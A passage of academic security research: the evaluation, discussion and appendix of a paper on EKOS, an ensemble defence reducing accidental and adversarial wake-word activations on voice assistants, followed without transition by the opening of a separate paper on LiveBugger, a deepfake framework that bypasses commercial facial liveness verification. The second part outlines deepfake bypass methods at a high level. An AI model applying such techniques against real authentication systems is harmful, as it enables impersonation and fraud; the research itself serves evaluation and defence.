Table 1 shows the mean and standard deviation accuracy at
l = 1, i.e., a single device, and at an ensemble of size l = 3,4,5,
versus the unrealistic baseline (BL) accuracy when the audio
is directly fed to the model (digitally rather than physically).
An ensemble of size 3 outperforms the single device for all
architectures. There are diminishing returns for ensembles
with more than three models. Random architecture selection
also outperforms individual architectures. We thus confirm
that an ensemble of diverse architectures and audio channels
enhances the natural accuracy of any single model.

Note that Google Commands is a multi-class and balanced
dataset with 12 classes. Classifying each keyword with high
accuracy means fewer errors, hence, lower accidental (erro-
neous) activations. Thus, the classification accuracy on such a
dataset is an indication of robustness to accidental activations.

Over-the-air Evaluation. We play the same 3081 test sam-
ples over the air and record the six devices’ microphones. We
feed these samples to the four KWS architectures. Fig. 2 shows
individual devices (D1–D6) mean accuracy and standard de-
viation across architectures and background noise. Devices
closer to the speaker (D1, D4) achieve higher accuracy than

Figure 3: Natural mean accuracy (%) of EKOS with feature
slicing (solid lines) and filter cutoff shift (dotted lines) at
different architectures and ensemble sizes. The feature slices
and cutoff shift are randomly selected at run-time.

other devices (D2, D5, D6) for all noise types since they expe-
rience a higher signal-to-noise ratio (SNR). D3 also performs
well since it utilizes a directional microphone.

Next, we randomly combine the six devices in an ensem-
ble of size l = 3,5,7. Each model in l selects its architecture
independently at random with replacement. We repeat the
evaluation ten times to account for architecture and device se-
lection randomness. Fig. 2 shows that EKOS outperforms all
the individual devices under all background scenarios. Hence,
the physical evaluation matches the simulated evaluation and
validates EKOS’ robustness against accidental activations.

6.1.3 Adversarial Activation Evaluation

Second, we evaluate EKOS’s performance against adversarial
activations: we now include the feature slicing component.

Simulated Evaluation. Before we evaluate the robustness
benefits of feature slicing, we ensure that our pipeline main-
tains its natural accuracy. Fig. 3 shows the performance of
EKOS at different architectures and ensemble size, with two
levels of inference time randomness; (1) random filters se-
lection from the set G, and (2) random filter cutoffs shift at
run time. We apply random shifts drawn uniformly from the
range ±200Hz to the 4 cutoff parameters (sl ,el ,sh,eh).
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First, when applying random feature slicing, an ensemble
of only l = 5 improves the individual models’ accuracy by an
average of 6%—corresponding to 50% error rate reduction,
at all architectures. Hence, the l = 5 ensemble accuracy ap-
proximates the models’ accuracy in Table 1, where no feature
slicing is applied. Second, when the ±200Hz random cutoff
shift is applied, it deteriorates the models’ accuracy. Still, the
ensemble accuracy increases with the ensemble size.

Next, we evaluate EKOS against an adaptive white-box
attacker. We compare the performance of Projected Gradient
Descent (PGD), PGD with frequency masking, and PGD with
20 RIRs attacks. The adaptive attack is performed over an
ensemble of sizes 1, 3, and 5, repeated five times for each
ensemble size. All attacks use 100 iterations to accurately
approximate the shortest distance to the decision boundary.

Fig. 4 plots the false activation rate on adversarial exam-
ples as a function of the attack budget, with standard devia-
tion computed over different keywords. The baseline shows
TCResNet8 model trained on all the spectrum; we select
TCResNet8 as it shows the highest robustness among the
baseline architectures. The figures show that as the ensemble
size increases, the adversary is unable to maintain the same
attack performance compared to the baseline; i.e., the adver-
sary needs a higher perturbation budget to reach a specific
false activation rate. At higher attack budget, the perturbation
power increases which leads to higher attack perceptibility.
Therefore, EKOS increases the cost the adversary faces.

Most interestingly, we find that EKOS makes it hard to
launch frequency masking attack efficiently (Fig. 4b). The
mask constraint is no longer satisfied as frequency peaks
are not necessarily used by individual models due to feature
slicing. The PGD with frequency masking attack on EKOS
is effectively relaxed to the less constrained PGD attack in
Fig. 4a. For PGD with RIR attack, Fig. 4c shows a lower false
activation rate, w.r.t. Fig. 4a and 4b, at the low attack budget
due to RIR randomness. Note that PGD with RIR optimizes
the perturbation over an EoT of the RIR transform (Eqn. 3);
the perturbation is not guaranteed to succeed at run-time.

Fig. 8, in the Appendix, similarly shows the performance
of the attacks in the presence of a random filter cutoff shift
of ±200Hz. The models exhibit behavior similar to Fig. 4
and cause an increased complexity for the attacker despite
its relatively lower natural accuracy. Although hard to for-
mally capture with the adaptive white-box attack evaluation,
randomized filter cutoff introduces additional uncertainty for
the attacker. Finally, we show in Fig. 9 in the Appendix that
the attack results in an increase in the perturbation power
received by individual models compared to the baseline.

Over-the-air Evaluation. We generate 90 adversarial ex-
amples from each of the PGD and PGD with RIR adaptive
attacks against an ensemble of size l = 5. We play the adver-
sarial examples over the air and capture the recordings from
the commodity devices. We evaluate adversarial examples in
a white-box setting, i.e., against the same exact models and

feature filters that were used to generate them. However, the
device-model assignment is done randomly. Thus, we repeat
the evaluation ten times. Table 2 presents the average adversar-
ial accuracy and confirms that EKOS’ ensemble outperforms
the individual devices against both attacks.

Next, we evaluate the attack against a randomized run of
EKOS; i.e. the feature filters and KWS architectures are se-
lected independently at random. The evaluation is repeated
ten times. Fig. 5 shows the accuracy (mean and standard de-
viation) of individual devices and of EKOS’s ensemble at
size l = 3,5,7 for the adversarial examples and their benign
samples as well. It is clear that all the devices’ accuracy is
higher than their values in Table 2 due to the randomized run.

We observe from Fig. 5 that EKOS’s ensemble outper-
forms individual devices on benign and adversarial samples.
Although we perform feature slicing in this experiment, accu-
racy on benign samples matches that of EKOS without feature
slicing (Fig. 2), especially at l > 3. This is consistent with our
findings from the simulated setup (Fig. 3); the ensemble gain
compensates for the accuracy drop due to feature slicing.

Although adversarial examples are successful in the sim-
ulated setup (the model’s accuracy is 0), they do not always
succeed over the air (accuracy > 0 in Table 2 and Fig. 5).
Moreover, while the PGD with RIR attack takes the acoustic
channel into consideration, its attack success rate (1-accuracy)
is not always higher than the PGD attack (without RIR). We
attribute these observations to multiple factors: (1) the RIR
simulation is only an approximation of the physical acous-
tic channel; (2) there are other physical transformations not
taken into account, such as the microphone’s non-linearity and
noise; and (3) the expectation over RIR optimization does not
guarantee a successful perturbation across all RIR transforms
(all devices and environments). These observations match the
findings from Qin et al. [45], where their adversarial examples
were successful only in a simulated environment.

6.1.4 System Integration Analysis

Finally, we assess EKOS’s deployment in terms of devices
integration and end-to-end latency. EKOS latency stems from
two sources: (1) model inference and (2) vote communication
and aggregation. EKOS is not sensitive to device synchro-
nization errors since it combines votes, not signals. Since the
ensemble models run simultaneously and independently, the
first source is dominated by the slowest device-architecture
pair. The latencies of EKOS’s architectures are available in
prior work [16] (Table 1 and 2) and range between 1.1ms and
10.1ms.7 We measure the end-to-end latency ∆T by running
an ensemble of size l = 10 on our set of devices; some de-
vices run more than one model simultaneously. The setup is
as follows: D1 runs three models, D4 runs two models, D5

7The inference time is measured on a Google Pixel 1 using the TensorFlow
Lite Android benchmark tool. The authors forced the model to be executed
on a single core in order to emulate the always-on nature of KWS.
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(a) PGD (b) PGD with frequency masking (c) PGD with RIR EoT

Figure 4: False activation rate (%) of EKOS against 5 randomly selected ensembles of sizes l = 1,3,5 along-with a TCResNet8
baseline model under adversarial examples generated by PGD, PGD with frequency mask, and PGD with RIR attacks.

Figure 5: Over-the-air accuracy (mean and std) of EKOS
under PGD and PGD-RIR attacks and their benign samples
with random slicing filter and architecture selection.

and D6 run a single TensorFlow-Lite model each, and D3 (the
main VA server) runs three models and aggregates the votes.

We performed 100 inference requests, the average latency
∆T is 0.32s±0.25s; the median, max, min are 0.21s, 1.53s,
0.20s, respectively. EKOS’s latency ∆T is consistent with the
latency window it takes the cloud KWS module to verify the
local activation and to perform “Echo Spatial Perception8” to
coordinate multiple Echo devices in the same environment.
Hence, EKOS’s latency does not degrade the user experience.
Moreover, EKOS latency does not increase linearly with the
number of devices; it is not accumulative. Thus, introducing
more devices to EKOS will not necessarily increase its latency
unless the new device forms a critical path.

6.2 Commercial Voice Assistants

In this section, we extend our evaluations of EKOS to commer-
cial VAs and their keywords. This evaluation is challenging
since we do not have access to their dataset, and there is no

8developer.amazon.com/blogs/alexa/post/esp

API access to the local KWS engine. Moreover, since the
commercial models are not trained with feature slicing trans-
formation, we cannot evaluate EKOS end-to-end; it is only
feasible to assess the physical environment effect on acciden-
tal and adversarial activations. We do not apply any feature
transformation or pre-processing on the evaluated keywords.

6.2.1 Experimental Setup

Our setup comprises 5 Echo devices: 4 Echo Dot (3rd Gen),
and one Echo tower (1st Gen), distributed in a lab space
(Fig. 6). The Bluetooth speaker is located in the middle of
the room, and the Echo devices are located at 0.7, 3, 3, 2.7,
and 2.6m away from the speaker. We choose Amazon’s Echo
devices because they can be activated by four different key-
words: {Alexa, Echo, Amazon, Computer}, hence, enabling a
comprehensive study. We automate the activation detection
using a digital photosensitive sensor attached to the device’s
light rim. Once a device detects the keyword, its rim light
turns on, and the sensor captures the change in light. The
setup is controlled by a Raspberry Pi 4 Model B that plays
the audio sample on the Bluetooth speaker and records the
Echo devices’ activations via the sensors’ output.

We run the experiment on the local (offline) and the lo-
cal+cloud (online) KWS models. Since the VAs operation
is non-deterministic [23, 53], we repeat the offline (online)
experiment three (ten) times and report the average values.

6.2.2 Evaluation Dataset

Positive Samples. We generate two sets of positive sam-
ples for each of the four keywords, namely Positive–TTS and
Positive–Speech. In the first set, Positive–TTS, we use text-
to-speech APIs from Google, Amazon, and IBM to generate
77 samples for each of the four keywords in different voices
(while synthetic, the samples sound natural to the ear).

We extract the second set, Positive–Speech, from conven-
tional speech recognition datasets – Librispeech, VCTK, Com-
mon Voice, TED-LIUM, and M-AILABS. We search the
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Figure 6: Commercial (Amazon’s Echo) VAs setup of 4 Echo Dots, 1 Echo
tower, and a Bluetooth speaker.

Figure 7: Duration (seconds) of Cloud-based
Misactivations of Echo VAs per Keyword.

datasets transcription for the keywords. We use the Montreal
Forced Aligner9 to align the speech with its transcript and ex-
tract the keyword utterance. The Positive–Speech set has 104,
138, 405 samples for Amazon, Echo, and Computer, respec-
tively. We found no samples for Alexa. Since these datasets
were not manually validated, we curate them by discarding
samples that do not activate any of the five devices.

Negative Samples. Generally speaking, any speech utter-
ance other than the keyword is a negative sample. However,
in this experiment, we focus on worst-case samples with a
high probability of incorrectly activating the device. Thus,
the false activation (FA) rates we report (e.g., in Table 3) are
higher than expected normal operation values. We extract the
accidental activation dataset that Dubois et al. [23] identified
in TV shows. We also use Schönherr et al.’s crafted accidental
activation triggers [53]. This dataset consists of n-gram En-
glish phrases that are phonetically close to the keyword. We
use text-to-speech APIs to synthesis these phrases in different
voices, as done for Positive–TTS samples.

Adversarial Examples. We use the adversarial examples
generated by Devil’s Whisper attack [15] on Amazon Echo10,
which is an over-the-air robust attack.

6.2.3 Accidental Activation Analysis

Local Activation. We evaluate the local KWS model perfor-
mance by disconnecting the Echo devices from the Internet.
When an utterance activates the local model, the rim light
turns red, and the device plays an error message. Table 3
shows the true-positive (TP) and false-activation (FA) counts
along with their class sizes for the individual devices and their
ensemble. The ensemble decision is a majority vote; i.e., it is
activated when at least 3 out of 5 devices are activated.

The devices closer to the speaker such as Echo Dot1, the
closest device to the speaker, have high TP values and also
high FA for all keywords, and vise versa such as Echo Dot4.
Hence, the user’s experience and privacy are at odds with re-
spect to the device’s proximity to the user. On the other hand,

9montreal-forced-aligner.readthedocs.io/en/latest/example.html
10github.com/RiskySignal/Devil-Whisper-Attack/tree/master/AEs

the majority vote ensemble has a lower number of misactiva-
tions (FA) than most of the devices. Table 4 in the Appendix
shows the accuracy and F1 scores of the individual devices
and their ensemble. The ensemble accuracy and F1 are higher
than the five devices at all keywords except Computer. Hence,
EKOS’s ensemble achieves the two-fold objective: it protects
the user’s privacy with fewer FA without sacrificing the utility.

Cloud-based Activation. We reconnect the devices to the
Internet to evaluate cloud KWS on both authorized and unau-
thorized samples. Table 3 shows that the numbers of FA are
significantly lower than the local KWS model for almost all
devices and keywords. Local activations not confirmed by
the cloud model are transcribed on the voice history page
with “Audio was not intended for Alexa.” Although the cloud
KWS verification enhances the user experience by limiting
unwanted and unexpected interactions with the user, it does
not necessarily mitigate the privacy concerns: private conver-
sations are still being sent to the cloud.

To quantify the privacy leakage, we analyze the misactiva-
tions duration, i.e., the time during which the rim light stays
on. Fig. 7 shows the durations distribution per keyword. We
find that the duration is concentrated from 1.6s to 10s with
6.33s median and 5.75s mean, with some samples reaching up
to 86s. Hence, the misactivations are long enough to leak pri-
vate conversations. The FA rate and the misactivation duration
quantify the magnitude of privacy leakage.

We believe that our experiment could capture some
worst-case misactivation durations, as compared to prior re-
search [23]; the devices are distributed in a large room with
uncontrolled background noise, unlike prior work [23] that
places the VAs and the speaker in a small isolated cabinet.

The cloud TP values, however, are in the same range as the
local KWS model. This observation is unsurprising since the
positive activation is mainly controlled by the local model;
the cloud model only confirms or discards the local activa-
tion. In other words, the false-negative (misdetection) rate,
(FNR = 1−T PR), cannot be improved by the cloud model,
which explains why the local KWS model’s design favors
TPR rather than FPR. We attribute the small differences in
the TP values between local and cloud models to the non-
deterministic behavior of VAs and the uncontrolled environ-
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Devices
Alexa Amazon Computer Echo

Offline Online Offline Online Offline Online Offline Online

TP FA TP FA TP FA TP FA TP FA TP FA TP FA TP FA

Echo Dot1 68 44 67 20 140 75 125 89 181 326 169 217 89 75 89 49
Echo Dot2 60 31 61 14 120 48 115 39 208 136 180 86 79 23 77 36
Echo Dot3 51 27 50 31 99 29 111 22 163 130 172 55 81 36 68 34
Echo Dot4 57 22 49 3 86 6 65 4 93 71 85 54 62 30 50 11
Echo tower 59 44 66 18 92 37 95 50 189 156 167 202 72 69 70 54

Ensemble 61 21 63 9 113 23 110 22 174 128 163 75 83 31 77 24

Class Size Pos: 69 – Neg: 985 Pos: 147 – Neg: 808 Pos: 263 – Neg: 1738 Pos: 105 – Neg: 596

Table 3: Amazon Echo’s offline (local) and online (cloud) KWS performance at different keywords. TP = true-positive, FA =
false-activation. Pos: the positive class sample size, and Neg: the accidental activation class sample size. The TP and FA values
that result in the highest accuracy per keyword are displayed in bold.

mental variations in the lab, such as background noise.
Finally, similar to the local model, EKOS’ ensemble outper-

forms the individual devices; it has a lower FA and a higher
TP. Table 4 also shows that the ensemble accuracy and F1
scores are superior to most of the devices. Hence, the KWS
ensemble is a practical solution that can enhance commercial
VAs performance and preserve the user’s privacy.

6.2.4 Adversarial Examples on Commercial VAs

We play Devil’s Whisper 2 adversarial examples on the key-
word Echo, which reports a 0.5 adversarial success rate (SR)
in their original setup. Their adversarial SR on our setup
(Fig. 6) is 0.7, 0, 0, 0, and 0.1 on the individual devices, and
SR= 0 on the ensemble. We relocate the devices such that
they are at a 1m distance from the speaker; the SR increases
to 0.6, 0.7, 0.15, 0, and 0.9, respectively, and the ensemble
SR= 0.45. Hence, the ensemble vote could reduce the adver-
sarial activations as well, even without feature slicing and
architecture diversity, in a non-adaptive attack setting.

7 Discussion

In the following, we discuss the tradeoffs in deploying EKOS
as well as some limitations and future work directions.

7.1 Deployment Analysis
EKOS is a flexible system; it enables a custom-tailored oper-
ation with tunable utility, usability, and privacy trade-off.
Number of devices N: Ensemble models can be either cen-
tralized in the main VA or distributed over a set of smart
devices in the environment. The former is a compact and,
possibly, more usable setting. On the other hand, the latter
minimizes the VA footprint via distributed computation and
provides more spatial and hardware diversity. Thus, N is a
control parameter the user can tune to optimize the robustness,
utility, and computational cost. We evaluate EKOS on closely
located microphones on a single VA in the appendix A.1.

Feature Slicing: The user can enable (disable) the feature
slicing filters to include (exclude) the adversarial activation
threat model. However, as shown in Fig. 3, 5, with l ≥ 5, the
ensemble with feature slicing enabled reaches the baseline
natural accuracy without feature slicing (Table 1, Fig. 2). Also,
the user can enable (disable) the random filter cutoffs shift for
a more robust (accurate) operation – refer to Fig. 3.
Number of architectures K: As shown in Table 1 and Fig. 2,
architecture diversity enhances the ensemble accuracy and
robustness. Yet, channel diversity and feature slicing also con-
tribute to EKOS’ accuracy and robustness. Hence, the number
of stored architectures can be set to only one without sacrific-
ing EKOS’s performance when device storage is limited.
Number of models l: As shown in Table 1 and Fig. 2, 3,
the optimal number of models ranges from 3 to 5. Hence,
EKOS is a practical system, it enhances the VA robustness at
an overhead of l ≤ 5 models deployed on N ≤ l devices.
Computation Overhead: EKOS adds computation overhead
to the commodity devices. However, the client devices run
the KWS model only when they receive a request from the
main VA (Sec. 5.1). Hence, the computation overhead will be
limited to infrequent true-positive and false-positive incidents.
Moreover, the centralized mode of operation only loads the
main VA, which is a plug-in device.

7.2 Limitations and Future Research
Distance Bounding. A device far from the user may in-
crease the false-negative rate due to its low SNR. Hence, the
ensemble devices should perform a periodic distance bound-
ing check. Although we do not include this component in
this work, distance bounding is a well-studied problem with
existing engineering and cryptographic solutions [6, 41].

Other Robustness Measures. EKOS can be integrated
with other measures to increase robustness such as adver-
sarial training and data augmentation. Another interesting
integration is to perform voice recognition where the VA only
accepts commands that match the authorized user voiceprint.
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Voice recognition filters out accidental and adversarial activa-
tions from unauthorized speakers, TV, YouTube videos, etc.
An adversary would need to attack both systems jointly to
initiate a successful mis-activation . Hence, voice recognition
will increase the attack cost and enhance the robustness.

Other Attack Models. EKOS does not directly address at-
tacks based on the microphone non-linearity such as light
commands [56] and ultrasound signals [47, 67], yet, it in-
creases their cost. For example, the light attack will require at
least l/2+1 laser beams to target the majority of the devices
simultaneously. Likewise, the ultrasound attack needs to be
performed at close proximity to the microphones with speaker-
microphone aligned orientation. Hence, the distributed ensem-
ble will increase this attack cost as well.

Replay and spoofing attacks can fool the KWS using
recorded or synthetic speech commands that contain the cor-
rect keyword. To address them, EKOS can incorporate a voice-
liveness detector [3, 25] to distinguish human and machine-
generated commands. We envision a hierarchical detection
algorithm that rejects any non-human command.

8 Related Work

Privacy Measures for KWS. Cloud operators provide
some privacy measures to minimize accidental activations.
For example, VA providers give their users access to their
voice commands history, where they can listen to and delete
their past commands [20]. After the public backlash on man-
ual transcription of voice commands, Google, Apple, Ama-
zon, and Facebook suspended the default enrollment and are
currently giving the users opt-in and opt-out choices [31].
Recently, Google has enabled a tunable keyword sensitivity
setting to give the users control over the utility and privacy
tradeoff [34]. Yet, these measures do not address the privacy
threats of VA misactivations and do not meet the users’ ex-
pectations of hands-free interactions. Recently, Apple has
announced [28] that Siri will process speech locally on the
user’s device to mitigate these privacy concerns.

Researchers have also proposed external privacy control
systems to reduce misactivation incidents. Karmann proposes
a small add-on device that jams the VA’s microphones and
lifts up the jamming when it detects a user-customized key-
word [30]. However, it suffers from the same privacy threats
of KWS misactivation. Wu et al. [64] propose an audio-visual
speech recognition by analyzing lip movement in a sensor-
fusion algorithm. Similarly, Mhaidli et al. [42] use the gaze
direction and voice volume level as interpersonal commu-
nication cues of the user’s intent to activate the VA. These
efforts, however, introduce another privacy threat by adding an
always-on camera in the user’s private environment. Coucke
et al. propose Snips, a private-by-design system [18] that pro-
cesses the commands locally without cloud interactions. Yet,
it cannot be integrated into the commercial VAs.

Adversarial Example Defenses. Generic defenses like ad-
versarial training [38] and verifiable robustness [17, 32, 50]
are largely detached from the real world; they assume the
adversarial capabilities to respect an `p-norm ball constraint.
Yet, attacks in the physical space can map to large `p-norm
perturbations in the digital space. Moreover, these approaches
are hard to train, and come with significant performance loss
limiting their adoption. Others have explored defenses spe-
cific to the audio domain. Bhattacharya et al. [7] propose a
stochastic compression technique. Liveness detection distin-
guishes commands coming from a human or an audio speaker,
either via spectrum analysis [3, 25] or motion sensing [33],
or detecting the audio speaker magnetic field [14]. This tech-
nique introduces additional privacy threats of sensing human
activities and is ineffective against accidental activations.

9 Conclusion

We took two complementary approaches to tackle two forms
of misactivations: accidental and adversarial. Both approaches
rely on a diversity of sensors and models used to perceive the
environments. However, they differ in that adversarial activa-
tions require provable guarantees of increased costs, which
we achieve by exploiting a physical property of the audio
wave (replicas of speech at different harmonics) rather than
taking an ML approach. We hope this paper paves the way
for a new class of approaches that systematically characterize
environmental constraints to improve ML robustness.
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Devices
Alexa Amazon Computer Echo

Offline Online Offline Online Offline Online Offline Online

Acc F1 Acc F1 Acc F1 Acc F1 Acc F1 Acc F1 Acc F1 Acc F1

Echo Dot1 95.73 75.15 97.92 86.05 91.45 77.42 88.36 69.17 79.63 47.03 84.46 52.44 87.07 66.12 90.83 73.55
Echo Dot2 96.20 75.00 97.97 85.10 92.11 76.06 92.6 76.46 90.44 68.48 91.53 67.94 93.06 76.56 90.8 70.56
Echo Dot3 95.70 69.24 95.33 67.24 91.97 72.09 93.97 79.31 88.51 58.63 92.70 70.10 91.39 72.68 89.86 65.72
Echo Dot4 96.77 77.15 97.84 81.10 92.98 72.02 91.04 60.14 87.97 43.59 88.37 42.07 89.63 63.04 90.67 60.55
Echo tower 94.88 68.68 97.92 85.75 90.33 66.57 89.32 65.00 88.51 62.16 85.12 53.09 85.4 58.68 87.35 61.42

Ensemble 97.19 80.40 98.57 89.32 94.03 79.85 93.8 78.65 89.16 61.54 91.23 64.96 92.49 75.94 92.57 74.8

Class Size Pos: 69 – Neg: 985 Pos: 147 – Neg: 808 Pos: 263 – Neg: 1738 Pos: 105 – Neg: 596

Table 4: Amazon Echo’s offline (local) and online (cloud) KWS performance at different keywords in terms of the accuracy and
F1 scores (%). Pos: the positive class sample size, and Neg: the accidental activation class sample size. The highest Acc and F1
scores per keyword are displayed in bold.

A Appendix

A.1 Circular Microphones Spatial diversity
Here, we evaluate EKOS in the setting of a single central-
ized VA that has m = 4 or m = 7 microphones — similar
to commercial VA devices. We use the circular microphone
array model from Pyroomacoustics package to generate the
RIR at closely located microphone in a circle of 5cm radius,
representing the device board.

Table 5 shows the ensemble natural accuracy of EKOS’s
pipeline at l = m = {4,7}, where l is the number of ensemble
models. We assign a model to each microphone, and apply
inference time randomness: (1) filter selection and (2) filter
cutoffs random shift within ±200Hz. As the table shows, the
ensemble accuracy is only slightly lower than the values at
Fig.3. We observe that the 4 microphones case is slightly
better than 7 microphones, probably because they experience
more spatial diversity than the 7 microphones setup leading
to a higher majority vote accuracy.

Architecture Random filters Random cutoff shift
m = 4 m = 7 m = 4 m = 7

TC-ResNet8 91.32 87.34 77.02 78.79
TC-ResNet14 92.06 93.04 78.64 77.19
TC-ResNet2D8 90.24 87.51 85.71 82.85
DS-CNN-M 89.18 89.90 74.84 74.56

Random Arch. 89.20 89.10 79.208 84.846

Table 5: EKOS’s accuracy (%) when deployed on a single
VA that has m microphones and l = m models, at different
architectures and run-time randomness.

A.2 Perturbation imperceptibility

We investigate the relationship between imperceptibility of the
attack and the ensemble size l. In EKOS, a successful attack
needs to trick l

2 +1 models. Thus, increasing the number of
models l requires a higher perturbation size to reach the same
attack success rate (false activation rate) as shown in Fig. 9.

A.3 Adversarial Examples Transferability be-
tween different slice-architecture combi-
nations

Figure 10 shows the transferability map of the PGD attack
with 100 epochs and 0.05 perturbation budget across 9 ar-
chitectures and 9 filters. Note that with this budget, models
usually reach near-random guess performance.

A.4 Commercial Voice Assistants

Table 4 shows the performance of the setup in Fig. 6 in terms
of the accuracy and F1 scores (%). The ensemble accuracy
is higher than the individual devices at all keywords except
Computer. For the keyword Echo: The ensemble accuracy
is very close to Echo Dot2 and is higher than the other four
devices.
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(a) PGD (b) PGD with frequency masking (c) PGD with RIR EoT

Figure 8: False activation rate (%) of EKOS at 5 randomly selected ensembles of sizes l = 1,3,5 with ±200Hz random cutoff
shift, along-with a TCResNet8 baseline model, under adversarial examples generated by (a) PGD, (b) PGD with frequency mask,
and (c) PGD with RIR attacks.

(a) PGD (b) PGD with frequency masking (c) PGD with RIR EoT

Figure 9: False activation rate (%) versus the average perturbation power (dBw) received by EKOS, at ensembles of sizes
l = 1,3,5 along-with a TCResNet8 baseline model under (a) PGD, (b) PGD with frequency mask, and (c) PGD with RIR attacks.

(a) Filter Slice 3 and 6 (b) Filter Slice 1 and 5 (c) DS-CNN-L Model (d) ResNet2D Model

Figure 10: Transferability of PGD with 100 epochs and 0.05 perturbation budget across (a,b) 9 architectures with shared filter
slices, and (c,d) across 9 filters with a single shared architecture.
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Abstract

Facial Liveness Verification (FLV) is widely used for iden-

tity authentication in many security-sensitive domains and

offered as Platform-as-a-Service (PaaS) by leading cloud ven-

dors. Yet, with the rapid advances in synthetic media tech-

niques (e.g., deepfake), the security of FLV is facing unprece-

dented challenges, about which little is known thus far.

To bridge this gap, in this paper, we conduct the first system-

atic study on the security of FLV in real-world settings. Specif-

ically, we present LiveBugger, a new deepfake-powered at-

tack framework that enables customizable, automated security

evaluation of FLV. Leveraging LiveBugger, we perform a

comprehensive empirical assessment of representative FLV

platforms, leading to a set of interesting findings. For instance,

most FLV APIs do not use anti-deepfake detection; even for

those with such defenses, their effectiveness is concerning

(e.g., it may detect high-quality synthesized videos but fail

to detect low-quality ones). We then conduct an in-depth

analysis of the factors impacting the attack performance of

LiveBugger: a) the bias (e.g., gender or race) in FLV can

be exploited to select victims; b) adversarial training makes

deepfake more effective to bypass FLV; c) the input qual-

ity has a varying influence on different deepfake techniques

to bypass FLV. Based on these findings, we propose a cus-

tomized, two-stage approach that can boost the attack success

rate by up to 70%. Further, we run proof-of-concept attacks

on several representative applications of FLV (i.e., the clients

of FLV APIs) to illustrate the practical implications: due to

the vulnerability of the APIs, many downstream applications

are vulnerable to deepfake. Finally, we discuss potential coun-

termeasures to improve the security of FLV. Our findings have

been confirmed by the corresponding vendors.

Changjiang Li and Li Wang are the co-first authors. This work was

partially conducted when Changjiang Li was at Zhejiang University. Shouling

Ji and Xuhong Zhang are the co-corresponding authors.

Figure 1: Overview of FLV. Generally, cloud platforms provide

four types of FLV including Image- (IFLV), Silence- (SFLV), Voice-

(VFLV), and Action-based FLV (AFLV).

1 Introduction
As a promising alternative to legacy passwords, Facial Live-

ness Verification (FLV), which is able to validate an identity

based on a facial image/video, has drawn increasing atten-

tion [1–3]. In particular, online-FLV is widely adopted in

practice due to its low hardware requirement for end-users [4].

As shown in Figure 1, it first requires the user to record a

specific facial image/video, which is then sent to an FLV API

for verification. FLV has been applied in many critical scenar-

ios, such as online payment, online banking, and government

services [5]. For instance, recently, OCBC Bank, the second-

largest bank in Singapore, has introduced FLV to eight of its

ATMs as an initial trial for a larger roll-out planned throughout

2021 [6]. Besides, an increasing number of cloud platforms

begin to provide FLV as Platform-as-a-Service (PaaS), which

significantly reduces the cost and lowers the barrier for com-

panies to deploy FLV in their products. These services usually

provide APIs for downstream APPs to integrate FLV. It is ex-

pected that the trend will continue growing at a rate of 67.6%

and lead to a $16.6 billion market share by 2024 [7].

In contrast to its surging popularity, the potential security

risks of FLV are fairly under-explored. Especially for the

APIs provided by FLV PaaS vendors, their vulnerability will

be inherited by downstream APPs, threatening millions of

end-users. Once the security of FLV API is compromised, the

adversary may exploit it in numerous downstream APPs. The

user authentication API is ranked second in “OWASP API

security top 10” [8]. Meanwhile, most existing studies focus

on the presentation attack (i.e., the replay attack), in which

the adversary attempts to impersonate an identity through
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replaying the victim’s facial image/video [9], with strategies

including printing [10], video replay [11], and 3D mask [12].

In response, various defenses have also been proposed to

mitigate such attacks [10, 13–16]. However, they study the

security risk of FLV from the algorithmic level on public

datasets, without considering such risks in the deployed FLV

services or systems (e.g., FLV APIs), and thus are inadequate

to reflect the threat in the real-world setting.

Further, with the rapid advances in synthetic media tech-

niques (e.g., deepfake) [17], the security of FLV is facing un-

precedented challenges. Although previous work (e.g., [18])

shows that several face recognition systems are vulnerable

to synthesis attacks, the vulnerability of liveness verification

is largely unexplored. Further, the attack-defense landscape

of FLV has changed significantly recently. Little is known

about the new threats raised by state-of-the-art (SOTA) deep-

fake techniques. First, it enables more advanced and flexible

attacks [19]. For instance, it allows the adversary to easily

synthesize videos with required head/lip movements based

on a single image of the victim; in comparison, finding ex-

isting videos satisfying the move/voice requirements is ex-

tremely difficult in the presentation attack. In addition, with

the increasing commoditization of deepfake techniques (e.g.,

ZAO [20]), it now requires little expertise to create fake im-

ages/videos. For example, recently, a group of tax scammers

hacked a government-run FLV system via open-sourced deep-

fake techniques to fake tax invoices, which were valued at

$76.2 million [21].

Thus, it is imperative to assess the security implications of

deepfake for FLV. Specifically, RQ1 – How vulnerable is FLV

to deepfake-powered attacks? RQ2 – How do the threats vary

with concrete deepfake techniques? RQ3 – What are the key

factors impacting the attack effectiveness? RQ4 – How would

the practitioners improve the security of FLV? The answers

to the above key questions are crucial for the deployment and

use of FLV in practical settings.

Our Work. To answer these questions, in this paper, we de-

sign and implement LiveBugger, a framework that integrates

various SOTA deepfake techniques for evaluating the security

risks of FLV in a real-world setting. Leveraging LiveBugger,

we evaluate representative commercial FLV APIs provided

by leading PaaS vendors. Then, we conduct an in-depth ex-

ploration of the factors impacting the attack effectiveness and

conduct proof-of-concept attacks on real applications to fur-

ther assess the threats in more real-world settings. Finally, we

make a discussion of why the proposed deepfake-powered

attack can break FLV, and provide suggestions to improve its

security. We have reported our findings to the corresponding

vendors and received their acknowledgment. In summary, we

have made the following contributions.

Framework — We present LiveBugger, the first frame-

work designed specifically to serve as a security evaluation

framework for FLV in the deepfake era. At a high level,

LiveBugger consists of three key components, as illustrated

in Figure 3, namely Intelligence Engine, Deepfaker Engine,

and Analysis Engine.

1) Intelligence Engine, which provides a complete set of au-

thentication features supported by leading FLV PaaS vendors

as well as a configurable interface to incorporate new vendors.

The intelligence engine is able to automatically validate the

claimed defense features using a customizable probing dataset.

For example, BD1 (one of the vendors that tops China’s AI

cloud services market) claims that its voice-based FLV API

supports lip language detection. However, our analysis reveals

that a video without any lip movements can also bypass this

API. Overall, the intelligence engine facilitates efficient and

fine-grained evaluation.

2) Deepfaker Engine, which currently integrates six SOTA

deepfake techniques. Based on the collected intelligence, the

engine can synthesize the required fake videos for bypassing

FLV effectively. For example, for the vendor without coher-

ence detection, it concatenates pre-recorded videos satisfying

the required actions as a driving video to synthesize the fake

video for bypassing a target FLV. With a modular design, new

deepfake techniques can be readily integrated into the engine.

3) Analysis Engine, which includes a set of information-

rich, customizable metrics to support fine-grained evaluation

of FLV, including liveness evasion rate, anti-deepfake evasion

rate, face matching rate, and overall evasion rate.

Evaluation — Leveraging LiveBugger, we conduct a sys-

tematic study of the most representative FLV APIs, including

Image-, Silence-, Voice-, and action-based FLV. We make a

number of interesting observations with the following high-

lights: 1) most vendors do not consider anti-deepfake detec-

